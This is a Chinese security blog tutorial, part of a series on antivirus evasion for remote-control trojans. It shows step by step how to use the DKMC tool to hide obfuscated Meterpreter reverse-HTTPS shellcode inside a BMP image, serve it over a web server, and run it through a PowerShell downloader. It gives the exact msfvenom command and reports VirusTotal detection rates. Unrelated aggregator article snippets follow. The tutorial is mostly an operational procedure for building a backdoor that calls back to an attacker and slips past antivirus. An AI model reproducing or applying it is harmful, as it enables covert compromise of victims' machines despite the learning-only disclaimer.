远控免杀专题(15)-DKMC免杀(VT免杀率8/55)

2023-12-12 23:48

本文主要是介绍远控免杀专题(15)-DKMC免杀(VT免杀率8/55),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!

本专题文章导航

1、远控免杀专题(1)-基础篇:https://mp.weixin.qq.com/s/3LZ_cj2gDC1bQATxqBfweg

2、远控免杀专题(2)-msfvenom隐藏的参数:https://mp.weixin.qq.com/s/1r0iakLpnLrjCrOp2gT10w

3、远控免杀专题(3)-msf自带免杀(VT免杀率35/69):https://mp.weixin.qq.com/s/A0CZslLhCLOK_HgkHGcpEA

4、远控免杀专题(4)-Evasion模块(VT免杀率12/71):https://mp.weixin.qq.com/s/YnnCM7W20xScv52k_ubxYQ

5、远控免杀专题(5)-Veil免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/-PHVIAQVyU8QIpHwcpN4yw

6、远控免杀专题(6)-Venom免杀(VT免杀率11/71):https://mp.weixin.qq.com/s/CbfxupSWEPB86tBZsmxNCQ

7、远控免杀专题(7)-Shellter免杀(VT免杀率7/69):https://mp.weixin.qq.com/s/ASnldn6nk68D4bwkfYm3Gg

8、远控免杀专题(8)-BackDoor-Factory免杀(VT免杀率13/71):https://mp.weixin.qq.com/s/A30JHhXhwe45xV7hv8jvVQ

9、远控免杀专题(9)-Avet免杀(VT免杀率14/71):https://mp.weixin.qq.com/s/EIfqAbMC8HoC6xcZP9SXpA

10、远控免杀专题(10)-TheFatRat免杀(VT免杀率22/70):https://mp.weixin.qq.com/s/zOvwfmEtbkpGWWBn642ICA

11、远控免杀专题(11)-Avoidz免杀(VT免杀率23/71):https://mp.weixin.qq.com/s/TnfTXihlyv696uCiv3aWfg

12、远控免杀专题(12)-Green-Hat-Suite免杀(VT免杀率23/70):https://mp.weixin.qq.com/s/MVJTXOIqjgL7iEHrnq6OJg

13、远控免杀专题(13)-zirikatu免杀(VT免杀率39/71):https://mp.weixin.qq.com/s/5xLuu5UfF4cQbCq_6JeqyA

14、远控免杀专题(14)-AVIator免杀(VT免杀率25/69):https://mp.weixin.qq.com/s/JYMq_qHvnslVlqijHNny8Q

15、远控免杀专题(15)-DKMC免杀(VT免杀率8/55):本文

文章打包下载及相关软件下载:https://github.com/TideSec/BypassAntiVirus


免杀能力一览表

几点说明:

1、上表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。

2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。

3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。

4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为免杀的精确判断指标。

5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。


一、DKMC介绍

DKMC是Don't Kill My Cat (DKMC)的简称,谷歌翻译为"不要杀害我的小猫咪",这个名字也是挺少女心的...DKMC是一种生成混淆的shellcode的工具,并把shellcode合成到图像文件中,最终依靠PowerShell执行最终的shellcode有效负载。

二、安装DKMC

安装比较简单

$ git clone https://github.com/Mr-Un1k0d3r/DKMC 
$ cd DKMC
$ mkdir output

执行python dkmc.py即可

三、DKMC使用说明

执行python dkmc.py后可以看到5个选项,

[*] (gen)	Generate a malicious BMP image  
[*] (web)	Start a web server and deliver malicious image 
[*] (ps)	Generate Powershell payload 
[*] (sc)	Generate shellcode from raw file 
[*] (exit)	Quit the application

翻译一下

[*] (gen)	将msf的shellcode注入到一个BMP图像
[*] (web)	启动web服务用来分发BMP图像
[*] (ps)	生成ps的payload
[*] (sc)	将msf生成的raw文件转为shellcode
[*] (exit)	退出

这几个选项可不是都能生成payload,而是一起组合来生成免杀的文件。

生成一个后门的流程大体为:

1、先利用msf生成raw文件

2、利用scraw文件转换为shellcode

3、利用gen将上一步的shellcode注入到一个BMP图像

4、利用ps生成基于powershell的BMP文件的payload

5、利用web提供的简单web服务进行分发BMP文件

4和5看起来有点乱,下面我演示一下就很容易明白了。

四、利用DKMC生成后门

1、先利用Msf生成raw格式的shellcode,稍微编码了一下

msfvenom -p windows/meterpreter/reverse_https  LHOST=10.211.55.2 LPORT=3333 -e x86/shikata_ga_nai -b "\x00" -i 5 -a x86 -f raw -o /root/test15.raw

2、在主菜单中选择sc,然后设置source/root/test15.raw,再执行run生成shellcode。

复制一下生成的shellcode,输入exit退回到主菜单。

3、在主菜单中选择gen,然后设置shellcode为上一步中生成的shellcode。

其他默认即可,执行run生成图像。

看到生成了output-1577907077.bmp图像文件,输入exit退回到主菜单。

4、在主菜单中选择ps,设置url地址,这个url地址就是web分发图像文件的地址。

我的parrot虚拟机的地址为10.211.55.24,我打算用默认的80端口,这样我的url地址为http://10.211.55.24/output-1577907077.bmp

使用命令set url http://10.211.55.24/output-1577907077.bmp,然后执行run生成powershell执行脚本。

复制一下生成的ps代码,输入exit退回到主菜单。

5、最后一步,在主菜单中选择web,使用默认80端口,执行run即可。

访问虚拟机的80端口

图像可以正常打开

6、在我的测试机器上执行第4步生成的ps代码,不开杀软的时候可正常上线

我将ps执行代码中的-w hidden先去掉,这样可以看得直观一些

7、打开杀软进行测试

静态查杀都通过

在执行powershell代码时,火绒和360卫士会拦截报警,360杀毒没有反应

virustotal.com上BMP文件的查杀率为5/55,查杀出来为BMP木马

virustotal.com上ps代码的查杀率为8/55,判断ps下载行为。

四、小结

DKMC主要把shellcode注入到bmp图像中,然后使用powershell来执行其中的shellcode,但是很多杀软都会监测powershell的执行动作,所以virustotal.com的静态检测不足以说明什么。其实还可以进一步对ps执行代码进行混淆免杀,这一点后续文章还会涉及这里就不展开说了。

参考

官方说明文档:https://github.com/Mr-Un1k0d3r/DKMC

扫描下方二维码学习更多安全知识:

Ms08067安全实验室

专注于普及网络安全知识。团队已出版《Web安全攻防:渗透测试实战指南》,《内网安全攻防:渗透测试实战指南》,目前在编Python渗透测试,JAVA代码审计和二进制逆向方面的书籍。

团队公众号定期分享关于CTF靶场、内网渗透、APT方面技术干货,从零开始、以实战落地为主,致力于做一个实用的干货分享型公众号。

官方网站:www.ms08067.com

这篇关于远控免杀专题(15)-DKMC免杀(VT免杀率8/55)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/486371

相关文章

Ilya-AI分享的他在OpenAI学习到的15个提示工程技巧

Ilya(不是本人,claude AI)在社交媒体上分享了他在OpenAI学习到的15个Prompt撰写技巧。 以下是详细的内容: 提示精确化:在编写提示时,力求表达清晰准确。清楚地阐述任务需求和概念定义至关重要。例:不用"分析文本",而用"判断这段话的情感倾向:积极、消极还是中性"。 快速迭代:善于快速连续调整提示。熟练的提示工程师能够灵活地进行多轮优化。例:从"总结文章"到"用

这15个Vue指令,让你的项目开发爽到爆

1. V-Hotkey 仓库地址: github.com/Dafrok/v-ho… Demo: 戳这里 https://dafrok.github.io/v-hotkey 安装: npm install --save v-hotkey 这个指令可以给组件绑定一个或多个快捷键。你想要通过按下 Escape 键后隐藏某个组件,按住 Control 和回车键再显示它吗?小菜一碟: <template

【专题】2024飞行汽车技术全景报告合集PDF分享(附原数据表)

原文链接: https://tecdat.cn/?p=37628 6月16日,小鹏汇天旅航者X2在北京大兴国际机场临空经济区完成首飞,这也是小鹏汇天的产品在京津冀地区进行的首次飞行。小鹏汇天方面还表示,公司准备量产,并计划今年四季度开启预售小鹏汇天分体式飞行汽车,探索分体式飞行汽车城际通勤。阅读原文,获取专题报告合集全文,解锁文末271份飞行汽车相关行业研究报告。 据悉,业内人士对飞行汽车行业

音视频入门基础:WAV专题(10)——FFmpeg源码中计算WAV音频文件每个packet的pts、dts的实现

一、引言 从文章《音视频入门基础:WAV专题(6)——通过FFprobe显示WAV音频文件每个数据包的信息》中我们可以知道,通过FFprobe命令可以打印WAV音频文件每个packet(也称为数据包或多媒体包)的信息,这些信息包含该packet的pts、dts: 打印出来的“pts”实际是AVPacket结构体中的成员变量pts,是以AVStream->time_base为单位的显

Adblock Plus官方规则Easylist China说明与反馈贴(2015.12.15)

-------------------------------特别说明--------------------------------------- 视频广告问题:因Adblock Plus的局限,存在以下现象,优酷、搜狐、17173黑屏并倒数;乐视、爱奇艺播放广告。因为这些视频网站的Flash播放器被植入了检测代码,而Adblock Plus无法修改播放器。 如需同时使用ads

专题二_滑动窗口_算法专题详细总结

目录 滑动窗口,引入: 滑动窗口,本质:就是同向双指针; 1.⻓度最⼩的⼦数组(medium) 1.解析:给我们一个数组nums,要我们找出最小子数组的和==target,首先想到的就是暴力解法 1)暴力: 2)优化,滑动窗口: 1.进窗口 2.出窗口 3.更新值 2.⽆重复字符的最⻓⼦串(medium) 1)仍然是暴力解法: 2)优化: 进窗口:hash[s[rig

15 组件的切换和对组件的data的使用

划重点 a 标签的使用事件修饰符组件的定义组件的切换:登录 / 注册 泡椒鱼头 :微辣 <!DOCTYPE html><html lang="en"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><meta http-equiv="X-UA-

hot100刷题第1-9题,三个专题哈希,双指针,滑动窗口

求满足条件的子数组,一般是前缀和、滑动窗口,经常结合哈希表; 区间操作元素,一般是前缀和、差分数组 数组有序,更大概率会用到二分搜索 目前已经掌握一些基本套路,重零刷起leetcode hot 100, 套路题按套路来,非套路题适当参考gpt解法。 一、梦开始的地方, 两数之和 class Solution:#注意要返回的是数组下标def twoSum(self, nums: Lis

数字电路专题:verilog 阻塞赋值和非阻塞赋值

verilog 阻塞赋值 和 非阻塞赋值 “=”阻塞赋值, ”<=”非阻塞赋值。阻塞赋值为执行完一条赋值语句,再执行下一条,可理解为顺序执行,而且赋值是立即执行; 非阻塞赋值可理解为并行执行,不考虑顺序,在 always 块语句执行完成后,才进行赋值。 如下面的阻塞赋值: //代码如下:module top(din,a,b,c,clk);input din;input clk;out

算法专题一: 双指针

目录 前言1. 移动零(easy)2. 复写零(easy)3. 快乐数(medium)4. 盛水最多的容器(medium)5. 有效三角形的个数(medium)6. 和为 s 的两个数字(easy)7. 三数之和(medium)8. 四数之和(medium) 前言 常见的双指针有两种形式,一种是对撞指针,一种是左右指针。 1. 对撞指针: ⼀般用于顺序结构中,也称左右指针。